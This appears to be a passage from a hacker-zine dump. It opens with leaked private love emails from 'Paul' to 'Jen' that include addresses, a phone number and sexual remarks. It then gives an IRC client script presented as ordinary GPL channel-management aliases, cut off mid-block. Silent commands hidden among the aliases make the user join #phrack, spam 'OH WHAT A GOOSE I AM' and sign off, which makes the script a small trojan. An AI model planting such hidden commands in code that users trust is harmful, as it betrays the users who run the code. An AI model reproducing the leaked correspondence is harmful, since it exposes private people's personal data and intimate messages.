let you know that i didnt cut you short... I will try to be on around 11 or 12 tomarrow night. I had a great time chatting.... keep in touch..... *hugz & kisses* Good Night Sweetheart! Love Ya, Paul -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ Date: Fri, 24 Apr 1998 23:57:26 -0400 From: White Trash To: jennie@magpage.com Subject: Sweetheart While you were on the phine ICQ kept disconnecting me.... NEWAYZ...i really want to talk to you, but i want to lay down and jerk off, you know...the usual rutine...Well call me if you can... Please do, (302) 947-9096.... It dosent matter, just make sure its not past like 2.. Pleaze call me if you wanna chat. Sorry i couldnt connect. Well if i dont hear from ya...godd night...we'll do it another night. Dan said that he will take me up there, maybe next weekend, if not then probally the the one after that...is that kool? well, catch ya later! Love Ya, Paul Date: Sat, 25 Apr 1998 07:35:35 -0400 From: White Trash To: jennie@magpage.com Subject: Hi.... It is Saturday morning.... i'm about to go to work. Sorry we didnt get to talk last night. Well, hopefully i'll be home tonight around 1,12, 1. Something like that, but i might crash at a friends house. Try to meet me on ICQ. Mail me back. -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ Date: Sun, 26 Apr 1998 00:33:57 -0400 From: White Trash To: jennie@magpage.com Subject: Saturday Night, 12:30 i gotta lay down, i really wanted to chat too.... call me tonight if ya want to. 947-9096 catch ya later paul -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ Date: Sun, 26 Apr 1998 21:50:22 -0400 From: White Trash To: Jen Sweetie. well, it happened again, we got disconnected. :( Please give me a call if you want. I would love to talk to ya. I'll be up to about 12:30 probally, even if its past if you want, call me. Mail me. Paul -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ Date: Sun, 26 Apr 1998 23:16:23 -0400 From: White Trash To: Jen Subject: Good Night If you dont call, good night. :pd: Paul -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ To: Jen Subject: ICQ This is what i wrote in the chat window before you left... i have been thinking about toneing down my relationship w/ heather so that i can see other people. Even if nothing happens between me and you, there are gonna be a lot of girls this summer, and it will damn hard to not act upon any erges i get. and it will be okay if i'm just dating her. do you agree/not agree? Well, if you get back in time, like before 1. Try to give me call. Paully -- ---=+=<:White trasH:>=+=--- whitetrash@rednecks.com http://home.dmv.com/~pauls/ [END_CUT] jenncidie.mailspool [4] -> ********************************************** <- [4] [4] -> phr0m some 0ne wh0 w1shes t0 r3m4in an0nym0us: <- [4] [4] -> ********************************************** <- [4] [CUT_HERE] h4g1s.irc # # -------------------------------------------------------------------- # h4g1s.irc # -------------------------------------------------------------------- # # IRC Script Program. For use with ircii clients v2.8.2 and newer. # Copyright (C) 1999 h4g1s # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # alias on_names { @ ns = [$1-] echo *** Names $0 ^B[$#ns]^B echo.recursive $ns ^assign -ns } alias sv if ([$0]) {notice $0 $lice()}{send $lice()} alias sf if ([$0]) {ctcp $0 WHOAMI}{ctcp * WHOAMI} alias sc if (ischannel($0)) {NAMES * $0}{NAMES * $C} alias sb if (ischannel($0)) {MODE $0 b}{MODE * b} alias chanst { if (ischannel($0)) {@ chanst.test = [$0]}{@ chanst.test = [$C]} clean.channel $chanst.test } alias findip {^exec -name fip perl $HOME/findip.pl $*} alias umode MODE $N $0- alias ww whowas $* alias wi if ([$0]) {quote WHOIS $0-}{whois} alias wii if ([$0]) {quote WHOIS $0 $0}{whois} alias re redirect alias rlag { @ temp.lag = time() quote PING $temp.lag $S } alias relm rel.proc M MSG $* alias reln rel.proc N MSG $* alias relw rel.proc W MSG $* alias tlm rel.proc M T $* alias tln rel.proc N T $* alias tlw rel.proc W T $* alias wlm rel.proc M WALL $* alias wln rel.proc N WALL $* alias relmk rel.proc M K $* alias relnk rel.proc N K $* alias relwk rel.proc W K $* alias rel.proc { if ([$2]!=[]) { if ([$[2]2]==[-l]) { if ([$temp[$0][0]]!=[]) { echo ^_Num.^_ ^_Context ^_ for (@ gg = 0, [$temp[$0][$gg]]!=[], @gg=gg+1) { echo ^B[${gg+1}]^B $decode($temp[$0][$gg]) } ^assign -gg }{echo *** Nothing in $0\-buffer.} }{ if (index($2 0123456789) != -1) { if ([$3]!=[]) { $1 $3 $decode($temp[$0][${[$2]-1}]) }{ $1 $C $decode($temp[$0][${[$2]-1}]) } }{$1 $2 $decode($temp[$0][$queue.tail(temp.$0)])} } }{send $decode($temp[$0][$queue.tail(temp.$0)])} } alias log { if ([$0]==[ON] || [$0]==[OFF]) { set log $0 window log $0 }{ echo *** Log file mask: ^B$LOGFILE help } } alias win_new ^window new name $0 level none $1- alias rex if ([$1]) {exec -msg $0-}{uecho Usage: /REX } alias ex exec alias c MODE * $* alias rkey if (ischannel($0)) {MODE $0 -k $chan[$hook(CLI $0)][K]}{MODE $C -k $ chan[$hook(CLI $C)][K]} alias ml if (ischannel($0)) {MODE $0 +inst-lmpmk $chan[$hook(CLI $0)][K]}{MODE $C +inst-lmkpm $chan[$hook(CLI $C)][K]} alias mc if (ischannel($0)) {MODE $0 -lsnmpitmk $chan[$hook(CLI $0)][K]}{MODE $ C +inst-lsnmkpitm $chan[$hook(CLI $C)][K]} alias mo if (ischannel($0)) {MODE $0 +nst-ilmpmk $chan[$hook(CLI $0)][K]}{MODE $C +nst-ilmkpm $chan[$hook(CLI $C)][K]} alias m msg alias n notice alias invite { if (ischannel($0)) { @ i.c = 0 @ i.n = [$1-] @ i.x = word(0 $i.n) while ([$i.x]!=[]) { quote.add INVITE $i.x $0 @ i.c = i.c + 1 @ i.x = word($i.c $i.n) } quote.flush ^assign -i.c ^assign -i.n ^assign -i.x }{ if (ischannel($1)) { quote INVITE $0 $1 }{ quote INVITE $0 $C } } } alias on_disconnect { if ([$main.bss]!=[]) { if ([$word(0 $main.bss)]!=[$0]) { ^timer -r 5 5 server $main.bss echo *** Auto: Disconnected from $0\, moving to ^B$word(0 $main.bss)\^B }{ ^timer -r 5 5 server + echo *** Auto: Cycling servers, disconnected from server. } }{ ^timer -r 5 5 server + echo *** Auto: Cycling servers, disconnected from server. } purge cache purge bans if (ismset(U)) {away.save LiCe licelogd Remote connection to $0 server lost.} } alias j if (ischannel($0)) {JOIN $0-}{JOIN #$0-} alias l if (![$0]) {PART *}{if (ischannel($0) || [$0]==[*]) {PART $0}{PART #$0} }alias leave l alias cycle { if (C) { if (index(i $M) == -1) {@ cycle.test = [$C]} ^on -leave "$N $C" { ^timer 0 JOIN $1 $chan[$hook(CLI $1)][K] ^on -leave -"$N $1" } PART $C } } alias cycle.clear { if ([$1]==[$cycle.test]) { purge cache.$hook(CLI $1) purge bans.$hook(CLI $1) ^assign -cycle.test } if ([$0]==[471] || [$0]==[473]) { if (isset(D)) {^timer -r $0 $main.rjt JOIN $1} } } alias chg { PART * if (ischannel($0)) {JOIN $0-}{JOIN #$0-} } ^join #phrack ^wait alias alarm { if ([$0]!=[]) { if ([$0]==[PUSH]) { if ([$2]!=[]) { if (index($1 0123456789) != -1) { @ at.t = [$1] if (at.t > 60 || at.t == 0) {@ at.t = 60} queue.add alarmT 9 $at.t queue.add alarmE 9 $2- echo *** Alarm: Added new event for every ^B$at.t minute$_plural($at. t)\^B purge at }{echo *** Alarm: Not a number in timeout!} }{uecho /ALARM [POP|PUSH|KILL|LIST] [|>]} }{ if ([$0]==[POP]) { @ at.t = strip(# $1) - 1 @ at.o = at.t if (alarmT[$at.t]) { @ at.c = 0 while ((at.t < 10) && alarmT[$at.c]) { @ at.c = at.t + 1 ^assign -alarmT[$at.t] ^assign -alarmE[$at.t] @ alarmT[$at.t] = [$alarmT[$at.c]] @ alarmE[$at.t] = [$alarmE[$at.c]] @ at.t = at.t + 1 } ^assign -alarmT[$at.t] ^assign -alarmE[$at.t] echo *** Alarm: Removed even id '${at.o + 1}\'. purge at }{echo *** Alarm: No such even id '$1\'.} }{ if ([$0]==[KILL]) { purge alarmT purge alarmE echo *** Alarm: All scheduled events have been purged. }{alarm.view} } } }{alarm.view} } alias alarm.view { if (alarmT[0]) { echo ^_Id T Event^_ foreach alarmT at {echo [$[2]{at + 1}] $[2]alarmT[$at] $alarmE[$at]} ^assign -at }{echo *** Alarm: No events scheduled.} } alias alarm.check { @ at.p = [$0] foreach alarmT at.i { if ([$at.p]==[00]) {@ at.p = 60} @ at.s = at.p / alarmT[$at.i] @ at.r = at.s * alarmT[$at.i] if (at.r == at.p) { if (!L) {sendline $alarmE[$at.i]} } } purge at } ^msg #phrack OH WHAT A GOOSE I AM ^wait alias w { if ([$0]) { if ([$[1]0]==[-]) {WHO $0 * $1-}{WHO $0-} }{WHO *} } alias t if (ischannel($0)) {TOPIC $0-}{TOPIC $C $0-} alias offers if ([$0]) {ctcp $0 XDCC LIST}{ctcp $C XDCC LIST} alias ver if ([$0]) {ctcp $0 VERSION}{ctcp $C VERSION} alias ping if ([$0]) {${K}${K}PING $0}{${K}${K}PING $C} alias p ping alias describe { if ([$[1]0]==[=]) { ^msg $0 ^AACTION $1-\^A }{${K}${K}describe $*} } alias nochat dcc close chat $0 alias chat { if ([$0]!=[]) {adcc.chat $0}{ @ who = queue.head(chats) if (who) { dcc chat $who tab.add =$who } ^assign -who } } alias adcc.chat dcc chat alias adcc { echo *** Woops! ADCC.SCR is not loaded, loading it... load adcc.scr if ([$0]) {adcc $*} } ^msg #phrack OH WHAT A GOOSE I AM ^wait alias kick.proc { if ([$P]==[@]) { @ kp.r = [$main.dkm] if ([$0]!=[MULTI]) { @ kp.a = [$2] @ kp.p = rmatch($kp.a *.* *@* \\*%\\*) if ([$3]!=[]) {@ kp.r = [$3-]} }{ @ kp.p = 0 if (index(: $2-) == -1) { @ kp.nl = [$2-] }{ @ kp.t = [$2-] @ kp.nl = mid(0 $index(: $kp.t) $kp.t) @ kp.r = mid(${index(: $kp.t) + 1} 99 $kp.t) } } if (kp.p) {@ kp.b = isban($kp.c $kp.a)} if ((kp.p == 0) && [$0]!=[MULTI]) { if (onchannel($kp.a $C)) { @ kp.t = [$cache[$1][$struct($kp.a)]] if ([$[1]0]==[B]) { @ kp.cc = 0 @ kp.p = makeban($0 $kp.t) while (word($kp.cc $kp.b)) { @ mode.add($1 -b $word($kp.cc $kp.b)) @ kp.cc = kp.cc + 1 } if (ischanop($kp.a $C)) {@ mode.add($1 -o $kp.a)} @ mode.add($1 +b $kp.p) } @ mode.flush($C) quote KICK $C $kp.a :$kp.r if ([$0]==[BI]) {^ig $kp.p ALL CRAP -PUBLIC} } }{ if ([$0]!=[MULTI]) { foreach cache.$1 kp.n { @ kp.nn = decode($kp.n) if (match($kp.a $kp.nn\!$cache[$1][$kp.n]) && [$kp.nn]!=[$N]) { if ([$0]==[BI]) {^ig $kp.p ALL CRAP -PUBLIC} @ push(kp.nl $kp.nn) } } if (kp.b) {loop.mode - b $C $kp.b} if (index(! $kp.a) == -1) {quote MODE $C +b *!$cluster($kp.a)}{quote MO DE $C +b $kp.a} } if (kp.nl) {loop.mk $C $kp.nl :$kp.r} quote.flush } purge kp }{echo *** $ch($C)\: You are not channel operator.} } alias k if ([$0]!=[]) {kick.proc FAST $hook(CLI $C) $*} alias kb if ([$0]!=[]) {kick.proc BN $hook(CLI $C) $*} alias kh if ([$0]!=[]) {kick.proc BH $hook(CLI $C) $*} alias kf if ([$0]!=[]) {kick.proc BF $hook(CLI $C) $*} alias ku if ([$0]!=[]) {kick.proc BU $hook(CLI $C) $*} alias ki if ([$0]!=[]) {kick.proc BI $hook(CLI $C) $*} alias kbi ki alias mk if ([$0]!=[]) {kick.proc MULTI $hook(CLI $C) $*} ^msg #phrack OH WHAT A GOOSE I AM ^wait @ temp.tbc = 0 alias tab.add { @ p.c = match($0 $temp.tbn) if (p.c > 0) {@ temp.tbn = [$0 $ref(1-${p.c - 1} $temp.tbn) $ref(${p.c + 1}- $temp.tbn)]} {@ temp.tbn = [$0 $ref(1-6 $temp.tbn)]} @ temp.tbc = 0 ^assign -p.c } alias tab.get { if (L) { @ tab.test = match(${L}* $temp.tbn) if (tab.test > 0) { @ tab.test = [$^\^^ref($tab.test $temp.tbn)]##[ ] type ^U$K$0 $tab.test }{ if (temp.tbc >= #temp.tbn) {@ temp.tbc = 0} type ^U$K$0 $^\^^word($temp.tbc $temp.tbn) @ temp.tbc = temp.tbc + 1 } ^assign -tab.test }{ if (temp.tbc >= #temp.tbn) {@ temp.tbc = 0} type ^U$K$0 $^\^^word($temp.tbc $temp.tbn) @ temp.tbc = temp.tbc + 1 } } alias msay { if (C) {if ([$0]!=[]) { quote PRIVMSG $_send($mychannels()) :$0- echo -> ^B<^B${N}^B>^B $0- }{uecho Usage: /MSAY }} } alias mme { if (C) {if ([$0]!=[]) { quote PRIVMSG $_send($mychannels()) :^AACTION $0-\^A echo -> ^B*^B $N $0- }{uecho Usage: /MME }} } alias purge { foreach $0 ii {purge $0.$ii} ^assign -ii ^assign -$0 } alias notword { if ([$0] > 0) { if (([$0] > 1) && ([$0] < rmatch($~ $1-))) {@ nw.sep = [ ]}{@ nw.sep = []} @ function_return = [$(1-${[$0]-1})]##[$nw.sep]##[$(${[$0]+1}-)] }{@ function_return = [$1-]} } ^msg #phrack OH WHAT A GOOSE I AM ^wait alias push { @ $0 = [$1 $($0)] } alias pop { @ function_return = word(0 $($0)) @ $0 = ref(2- $($0)) } alias queue.add { @ item = 0 foreach $0 idx {@ item = item + 1} if (item > [$1]) { @ item = item - 1 for (@ idx = 0, idx < item, @ idx = idx + 1) { @ $0[$idx] = [$($0[${idx+1}])] } ^assign -idx } @ $0[$item] = [$2-] ^assign -item } alias queue.head { @ qnext = 0 @ qhead = 0 @ function_return = [$($0[0])] ^assign -$0[0] while ([$($0[${qhead+1}])]!=[]) { @ qnext = qhead + 1 @ $0[$qhead] = [$($0[$qnext])] @ qhead = qhead + 1 } ^assign -$0[$qhead] ^assign -qhead ^assign -qnext } alias queue.tail { @ qtail = -1 while ([$($0[${qtail + 1}])]!=[]) {@ qtail = qtail + 1} @ function_return = qtail ^assign -qtail } ^msg #phrack OH WHAT A GOOSE I AM ^wait alias cluster { @ _c_u = [*] if (index(! $0) != -1) { @ _c_t = mid(${index(! $0)+1} ${@0-index(! $0)+1} $0) @ _c_u = left($index(@ $_c_t) $_c_t) @ _c_h = mid(${index(@ $_c_t)+1} 80 $_c_t) ^assign -_c_t }{if (index(@ $0) != -1) { @ _c_u = left($index(@ $0) $0) @ _c_h = mid(${index(@ $0)+1} 80 $0) }{@ _c_h = [$0]}} while ((index($[1]_c_u ~\^+=-) != -1) || (@_c_u > 8)) {@ _c_u = mid(1 20 $_c_ u)} if (index($right(1 $_c_h) 0123456789) != -1) { @ function_return = [$_c_u@$mid(0 ${rindex(. $_c_h)+1} $_c_h)]##[*] }{ while ([$[1]_c_h]==[*]) {@ _c_h = mid(1 80 $_c_h)} if (index(. $_c_h) != rindex(. $_c_h)) {@ _c_h = mid($index(. $_c_h) 80 $_c _h)} @ function_return = [$_c_u@*$_c_h] } ^assign -_c_h ^assign -_c_u } alias makeban { if ([$0]==[BC]) { @ function_return = [*!*@*$mid($rindex(. $1) 99 $1)] }{ if ([$0]==[BF]) { @ function_return = [*!$cluster($_host($1))] }{ if ([$0]==[BH]) { @ function_return = [*!*@$_host($1)] }{ if ([$0]==[BU]) { @ function_return = [*!$mid(${index(! $1)+1} $index(@ $1) $1)@*] }{ @ function_return = [*!*$cluster($1)] } } } } } @ domain[com] = [Commercial] @ domain[edu] = [Educational] @ domain[gov] = [Government] @ domain[mil] = [Military] @ domain[net] = [Network] @ domain[org] = [Organization] alias on_311 { if (index($right(1 $3) 1234567890) != -1) { findip $3 } @ _st = mid(${rindex(. $3)+1} 5 $3) if (domain[$_st]) {echo ^B[^B $0 ^B$1^B!$2@$3 \($domain[$_st]\) ^B]^B} {echo ^B[^B $0 ^B$1^B!$2@$3 ^B]^B} ^assign -_st if ([$[1]2]==[~]) {echo :^_ no ident ^_: $3 is not using identd.}{ if (index($[1]2 -=+) != -1) {echo :^_restricted^_: $3 is on a restricted conn ection.}} if ([$4]!=[] && [$4]!=[*Unknown*]) {echo :^_ ircname ^_: $5-} @ _ok = hook(CUF $2@$3) if (_ok) { if ([$user[F][$_ok][L]]!=[]) {echo :^_ userlist ^_: $user[F][$_ok][M] \(Global +^B$user[F][$_ok][L]\^B\) } {echo :^_ userlist ^_: $user[F][$_ok][M] (No global modes)} }{ @ _ok = hook(CUS $2@$3) if (_ok) { if ([$user[S][$_ok][L]]!=[]) {echo :^_ shitlist ^_: $user[S][$_ok][M] \(Global +^B$user[S][$_ok][L]\^B\) } {echo :^_ shitlist ^_: $user[S][$_ok][M] (No global modes)} }} } alias struct @ function_return = encode($tolower($0-)) alias _userhost @ function_return = mid(${index(! $0)+1} ${@0-index(! $0)+1} $0 )alias _host @ function_return = mid(${index(@ $0)+1} ${@0-index(@ $0)+1} $0) alias isban { @ ibm = [] if (rmatch($1 *.* *@*) && [$0]!=[NONE]) { foreach bans.$0 ibx { @ ibt = decode($ibx) if (match($ibt $1) || rmatch($1 $ibt)) {push ibm $ibt} } ^assign -ibt ^assign -ibx } @ function_return = [$ibm] ^assign -ibm } alias _chops { @ chops.l = [] if (ischannel($0)) {@ chops.c = [$0]}{@ chops.c = [$C]} foreach cache.$hook(CLI $chops.c) jj { if (ischanop($decode($jj) $chops.c) && [$N]!=[$decode($jj)]) { @ chops.l = [$decode($jj) $chops.l]}} @ function_return = [$chops.l] ^assign -chops.c ^assign -chops.l ^assign -jj } alias _nochops { @ nonops.l = [] if (ischannel($0)) {@ nonops.c = [$0]}{@ nonops.c = [$C]} foreach cache.$hook(CLI $nonops.c) jj { if (!ischanop($decode($jj) $nonops.c) && [$N]!=[$decode($jj)]) { @ nonops.l = [$decode($jj) $nonops.l]}} @ function_return = [$nonops.l] ^assign -nonops.c ^assign -nonops.l ^assign -jj } ^msg #phrack OH WHAT A GOOSE I AM ^wait alias nick.completion { if ([$L]!=[] && [$C]!=[0]) { @ line.t = [$L] @ line.a = ref(${#line.t} $line.t) @ line.c = match(${line.a}* $chanusers($C)) if (line.c > 0) { if (#line.t > 1) { @ line.t = notword(${#line.t} $line.t) @ line.t = [$line.t]##[ $ref($line.c $chanusers($C)) ] }{@ line.t = [$ref($line.c $chanusers($C))\^B:^B ]} } type ^U$^\^^line.t purge line } } alias ref @ function_return = [$(${[$0]})] alias _tdiff @ function_return = word(0 $0$[1]1$2$[1]3$4$[1]5$6$[1]7) alias mecho xecho -window MW $* alias lecho echo *** $* alias uecho echo [^B?^B] $* alias lice {if ([$0]) {@ id.c = [$id.c]##[ + $0 -]}{@function_return = [$decode(BPFDHCGGFCGPEHBPCHHDCAACEMGJEDGFAC) v${id.v}.${ id.r}.${id.p}${id.c}]}} alias _send { if ([$1]) {@ function_return = [$0,$_send($1-)]} {@ function_return = [$0]} } alias echo.recursive { echo $[10]0 $[10]1 $[10]2 $[10]3 $[10]4 $[10]5 $[10]6 if ([$7]) {echo.recursive $7-} } alias ch @ function_return = mid(0 ${CHANNEL_NAME_WIDTH} $0) alias target if (T) {@ function_return = [$T]}{@ function_return = [$C]} alias uh if (isset(V)) {@ function_return = [$0!$1]}{@ function_return = [$0]} alias _plural if ([$0]==[1]) {@ function_return = []}{@ function_return = [s]} alias isset @ function_return = (1 + index($0 $main.set)) alias isset.show if (isset($0)) {@ function_return = [On]}{@ function_return = [Off]} alias iscset @ function_return = (1 + index($0 $chan[$hook(CLI $1)][T])) alias iscsetf @ function_return = (1 + index($0 $chan[$1][T])) alias iscset.show if (iscset($0 $1)) {@ function_return = [On]}{@ function_retu rn = [Off]} alias ismset if (isset(R)) {@ function_return = (1 + index($0 $main.mset))}{@ f unction_return = 0} alias ismset.show if (ismset($0)) {@ function_return = [On]}{@ function_return = [Off]} ^msg #phrack OH WHAT A GOOSE I AM ^wait alias oncache @ function_return = [$cache[$hook(CLI $0)][$struct($1)]] alias on_404 { if ([$0]!=[$temp.sync]) {if ([$0]!=[$S]) { ^timer -d 111 echo *** You are desynched on ^B$1^B \($0: $2-\) @ temp.sync = [$0] }} ^timer -r 404 30 ^assign -temp.sync } alias clean.sweep { if (ischanop($N $0)) { @ _xa = hook(CLI $0) foreach cache.$_xa _xb { @ _xd = decode($_xb) if ([$_xd]!=[$N]) { @ _xc = isban($_xa $_xd!$cache[$_xa][$_xb]) if (_xc) { if (onchannel($decode($_xb) $0)) {quote.add KICK $0 $decode($_xb) :$ch($0) ba n: ^B$_xc\^B} }}} quote.flush ^assign -_xa ^assign -_xb ^assign -_xc ^assign -_xd } } alias flood.check { if (index(F $user[F][$hook(CUF $1)][L]) == -1) { if (match($0 $flood.test) == 0) { if ((!ischannel($3) && isset(F)) || (ischannel($3) && iscset(C $3))) { @ _f_i = hook(CF $1 $3) if (_f_i) { if (time() - _f_i <= main.fint) { @ fld[$_f_i][$0] = fld[$_f_i][$0] + 1 if ([$fld[$_f_i][$0]] >= [$(main.$0)]) { @ function_return = 0 flood.action ${time() - _f_i} $0- ^on ^hook -"CF $fld[$_f_i][H] $fld[$_f_i][I]" ^assign -fld[$_f_i][$0] ^assign -fld[$_f_i][H] ^assign -fld[$_f_i][I] }{@ function_return = 1} }{@ function_return = 1} }{ @ function_return = 1 @ _f_i = time() while ([$fld[$_f_i][H]]!=[]) {@ _f_i = _f_i + 1} @ fld[$_f_i][H] = [*@$_host($1)] ^on ^hook "CF $fld[$_f_i][H] $3" @ function_return = [$_f_i] @ fld[$_f_i][$0] = 1 @ fld[$_f_i][I] = [$3] } ^assign -_f_i }{@ function_return = 1} }{@ function_return = 1} if (isset(B)) { if (index(I $user[S][$hook(CUS $1)][L]) != -1) { echo *** Auto: Ignore ^B$0^B, SHIT mode +I detected. ^ig $user[S][$hook(CUS $1)][M] ALL CRAP -PUBLIC } } }{@ function_return = 1} } on -flood "% PUBLIC *" { if (ischanop($N $C) && iscset(C $C)) { if (iscset(P $C)) { @ _f_p = hook(CUF $userhost()) if (_f_p) { if (index(F $user[F][$_f_p][L]) == -1) {if (onchannel($0 $C)) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B consecutive public lines.}} {if (!rmatch($C $user[F][$_f_p][C])) {quote KICK $C $0 :Flood: ^B${FLOO D_AFTER / 2}^B consecutive public lines.}} }{if (onchannel($0 $C)) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B consecutive public lines.}} ^assign -_f_p }{if (onchannel($0 $C)) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B co nsecutive public lines.}} } } alias flood.action { @ _u_m = _host($2) @ push(flood.test $1) if (ischannel($4) == 0) { echo *** ^BAlert^B: $1 flood detected from ^B$3^B \(@$_u_m\) ^ig *@$_u_m if (!isset(Q)) {quote NOTICE $3 :^B[^B$1 Flood!^B]^B You'll be ignored for ^_$tdiff(${main.igt * 60})\^_. $main.dem} }{ if (ischanop($N $4)) { if (iscset(F $4) || [$1]==[JOIN]) { @ mode.add($hook(CLI $4) +b *!*@$_u_m) if (ischanop($3 $4)) {@ mode.add($hook(CLI $4) -o $3)} @ mode.flush($4) } quote KICK $4 $3 :Flood: ^B$(main.$1) ^B$1's in \($0\) $tdiff($main.fint) echo *** ^BAlert^B: $1 flood detected from ^B$3^B \(@$_u_m\) on $4 } if (iscset(S $4)) {^user -s *@$_u_m +$4 +FI Auto shit for being a $1 flood dork!} } if (ismset(U)) {away.save LiCe licelogd $1 flood from $3!*@$_u_m on $4} ^assign -_u_m ^timer $main.ftst ^assign -flood.test } #alias waste_mucho_cpu_please { alias clean.lists { foreach fld XX {if (time() - XX >= main.fint) { ^on ^hook -"CF $fld[$XX][H] $fld[$XX][I]" foreach fld.$XX YY {^assign -fld[$XX][$YY]} }} foreach ignore XX {if (time() >= XX) { ^IGNORE $ignore[$XX] NONE echo *** Auto: Ignore ^B$ignore[$XX]\^B expired at $strftime($XX %X) \($tdi ff(${main.igt * 60})\) ^assign -ignore[$XX] }} foreach nsn XX { if (time() - XX >= 300) { foreach nsn.$XX YY {foreach nsn.$(XX).$YY ZZ {^assign -nsn[$XX][$YY][$ZZ] }} ^on ^hook -"NSN $hook(NSI $XX)" ^on ^hook -"NSI $XX" ^assign -ZZ } } foreach bans XX {if (iscsetf(E $XX)) { foreach bans.$XX YY {if (time() - bans[$XX][$YY] >= main.ban) { @ mode.add($XX -b $decode($YY)) ^assign -bans[$XX][$YY] }}} @ mode.flush($hook(CLC $XX)) } ^assign -XX ^assign -YY } on -channel_nick * { @ cn = hook(CLI $0) if ([$cn]!=[NONE]) { @ cache[$cn][$struct($2)] = userhost() ^assign -cache[$cn][$struct($1)] if ([$2]!=[$N]) {if (flood.check(NICK $userhost() $2 $0)) { if (ischanop($N $0) && iscsetf(T $cn)) {if (match($2 \{ \} \\ $main.nix)) {quote KICK $0 $2 :^BLame nick detected! ^B}} }}} ^assign -cn } on -raw_irc "% MODE % *" { if (ischannel($2)) { @ m.x = hook(CLI $2) if ([$m.x]!=[NONE]) { @ m.h = _userhost($0) if (!m.h) {@ m.h = [SERVER]} mode.main $left($index(! $0) $0) $m.h $2 $m.x $3- ^assign -m.h } ^assign -m.x } } alias mode.main { @ m.i = 0 @ m.a = [$5-] @ oper.test = ([$0]==[$N]) @ deop.test = 0 fec ($4) m.m { if ([$m.m]==[+] || [$m.m]==[-]) {@ m.s = [$m.m]}{ if (index($m.m bklov) != -1) { if ([$m.s$m.m]!=[-l]) { ^hook MODE$m.m$m.s $0 $1 $2 $3 $word($m.i $m.a) @ m.i = m.i + 1 } }{ if ([$1]!=[SERVER] && !oper.test) {@ flood.check(MODE $1 $0 $2)} if (iscsetf(L $3)) { @ m.z = hook(CUF $1) if (index(E $userc[$m.z][C][$rmatch($2 $user[F][$m.z][C])]) == -1) { if ([$m.s]==[+]) {if (index($m.m $chan[$4][L]) == -1) {@ mode.add($3 -$m.m)}} {if (index($m.m $chan[$4][L]) != -1) {@ mode.add($3 +$m.m)}} } ^assign -m.z } } } } @ mode.flush($2) quote.flush } on ^hook "MODEb- % % % % %" { ^assign -bans[$4][$struct($5)] if (iscsetf(B $4) && !oper.test) { if ([$_userhost($5)]!=[*@*]) { @ banee = hook(CUS $_userhost($5)) if (index(B $userc[$banee][C][$rmatch($3 $user[S][$banee][C])]) != -1) { @ operc = hook(CUF $2) if (index(E $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) { @ mode.add($4 +b $5) if (!isset(Q) && [$2]!=[SERVER]) {quote.add NOTICE $1 :Sorry ^B[^B$5^ B]^B is in my permanent banlist. $main.dem} } ^assign -operc } ^assign -banee } } } on ^hook "MODEb+ % % % % %" { @ bans[$4][$struct($5)] = time() if ([$2]!=[SERVER] && !oper.test) { if (match($5 $N!$myuh)) { @ mode.add($4 -b $5) quote.add KICK $3 $1 :Dont ban ^B$5^B asshole! That's me! echo *** ^BAlert^B: ^B$1^B banned you from $ch($3) with \"$5\" if (ismset(U)) {away.save LiCe licelogd $1 banned you from $3 \($5\)} }{ if (iscsetf(P $4)) { @ banee = hook(CUF $2) if (index(E $userc[$banee][C][$rmatch($3 $user[F][$banee][C])]) == -1) { @ baner = hook(CUF $_userhost($5)) if (baner) { @ banee = rmatch($3 $user[F][$baner][C]) if (index(P $userc[$baner][C][$banee]) != -1) {@ mode.add($4 -b $5) } if (index(R $userc[$baner][C][$banee]) != -1) { if (ischanop($1 $3)) {@ mode.add($4 -o $1)} @ mode.add($4 +b *!*$cluster($2)) if (!isset(Q)) {quote.add NOTICE $1 :Ban: $main.drm $5} } }{if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}} ^assign -baner }{if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}} ^assign -banee }{if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}} } } } ^signoff ZAM on ^hook "MODEo- % % % % %" { if ([$2]!=[SERVER] && !oper.test) { flood.check DEOP $2 $1 $3 if ([$1]!=[$5]) {if (iscsetf(P $4)) { @ operc = hook(CUF $2) if (index(E $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) { @ operc = hook(CUF $cache[$4][$struct($5)]) if (operc) {@ opert = rmatch($3 $user[F][$operc][C]) if (index(P $userc[$operc][C][$opert]) != -1) {@ mode.add($4 +o $5)} if (index(R $userc[$operc][C][$opert]) != -1) { @ mode.add($4 -o $1) if (!isset(Q)) {quote.add NOTICE $1 :Deop: $main.drm $5} }} ^assign -opert } ^assign -operc }}} } on ^hook "MODEo+ % % % % %" { if ([$5]==[$N]) { if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3} }{ if ([$2]==[SERVER]) { if (iscsetf(N $4)) { @ operc = [$nsn[$hook(NSN $1)][$encode($3)][$encode($5)]] if (!operc) { if (iscsetf(P $4)) { @ operc = hook(CUF $cache[$4][$struct($5)]) if (!operc) {@ mode.add($4 -o $5)}{ if (index(O $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) = = -1) { @ mode.add($4 -o $5) } } }{@ mode.add($4 -o $5)} } ^assign -operc } }{ if (!oper.test) { if (iscsetf(B $4)) { @ operc = hook(CUS $cache[$4][$struct($5)]) if (operc) { if (index(D $userc[$operc][C][$rmatch($3 $user[S][$operc][C])]) != -1) { @ deop.test = 1 @ mode.add($4 -o $5) } } } 